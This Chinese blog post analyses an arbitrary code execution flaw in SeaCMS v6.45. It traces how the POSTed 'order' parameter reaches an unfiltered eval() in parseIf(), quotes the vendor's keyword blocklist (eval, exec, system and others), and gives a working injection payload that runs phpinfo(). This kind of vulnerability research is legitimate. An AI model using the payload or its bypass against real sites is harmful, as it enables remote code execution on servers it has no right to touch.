seacms v6.45 前台任意代码执行漏洞

漏洞代码出现在/include/main.class.php第3098行的parseIf()函数,该函数主要目的为对传进来的参数$content进行匹配,匹配出符合规则的if语句,带入eval()函数执行。
相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
      $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
$test1 = "if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}";
if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
}else{
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");

可以看出在该函数中,对带入eval函数的内容未做任何过滤,存在任意代码执行的隐患。我们只需要构造$strIf=1)phpinfo();if(1的形式那么就可以执行任意代码了。想法很美好,那么就看看有没有我们可以控制的地方。
全局查找该函数,可以发现有很多出调用的地方,在前台搜索处echoSearchPage()函数中,有用户可以控制的变量,跟进search.php查看一下。
在212行,$content变量传入parseIf()函数

1
$content=$mainClassObj->parseIf($content);

而往前查看,会发现有很多可控的变量代入了$content中。

1
2
3
4
5
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
......

而这里的$order变量被定义为global变量,而在search.php的开始位置处,对$$_GET传入的变量进行了变量注册。

1
2
3
4
5
foreach($_GET as $k=>$v)
{
$$k=_RunMagicQuotes(gbutf8(RemoveXSS($v)));
$schwhere.= "&$k=".urlencode($$k);
}

那么按照我们的预想,$order直接通过str_replace()函数进入了$content,而$content又直接进入带有eval的parseIf()函数。只需要根据$labelRule = buildregx(“{if:(.?)}(.?){end if}”,”is”);构造符合规则的payload就可以爽歪歪了。

在此之前,通过打印$content,可以发现$order传入之后类似这样

1
{if:"$order"=="time"}

那么根据前边贴出的代码@eval(“if(“.$strIf.”) { \$ifFlag=true;} else{ \$ifFlag=false;}”);,我们需要构造的是$strIf,而它截取的便是”$order”==”time”这部分。
那么我们需要符合正则匹配,并且闭合eval中原有的语句,再就很容易构造出payload的形式:}{end if} {if:1)phpinfo();if(1}{end if}
但是我们提交之后发现并没有按照预期的来,在$content中,我们传入的$order变成了 {if:”}{end if} {if:1)phpinfo();if(1}{end if}”==”score”}
可以发现在if:中间多了个,那么这就导致这部分内容无法通过正则匹配,也就没有进入eval获得执行。

往前翻其实就可以发现,在GET传进来参数进行注册变量的时候,其实是对注册的变量的变量做了过滤的。

1
$$k=_RunMagicQuotes(gbutf8(RemoveXSS($v)));

而这个RemoveXSS()不仅是做了xss的过滤,跟进代码查看一下其中一处过滤

1
$ra1 = Array('_GET','_POST','_COOKIE','_REQUEST','if:','javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base', 'eval', 'passthru', 'exec', 'assert', 'system', 'chroot', 'chgrp', 'chown', 'shell_exec', 'proc_open', 'ini_restore', 'dl', 'readlink', 'symlink', 'popen', 'stream_socket_server', 'pfsockopen', 'putenv', 'cmd');

在这里可以找到我们传入的if:,在下面的代码就是对if:中间插入,使得其失去了原本的意义。
很明显,开发者在使用eval函数的时候考虑到了这个问题。对传入其中的参数做了合适的过滤。

漏洞出现的原因是因为对问题考虑的不够全面。按照吴翰清的说法便是没有做好“威胁分析”,虽然开发者对传入的GET参数做足了过滤,但却没有考虑post的情况,因为表面上在这里并没有用到POST,但很不巧的是,继续分析可以看到一处require_once(“include/common.php”);文件包含了进来。而正是在这个common.php中,出现了POST。

1
2
3
4
5
6
7
8
9
10
11
12
foreach($_REQUEST as $_k=>$_v)
{
echo m_eregi('^(cfg_|GLOBALS)',$_k);
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

在这里仅仅对$_REQUEST传来的参数做了是否与全局变量冲突的检查和使用了addslashes()做了简单的转义。
那么就可以POST传入我们前边准备好的payload。
PsEoss.md.png

本文标题:seacms v6.45 前台任意代码执行漏洞

文章作者:boogle

发布时间:2018年08月08日 - 11:24

最后更新:2019年03月07日 - 11:37

原始链接:https://zhengbao.wang/seacms-v6-45-前台任意代码执行漏洞/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗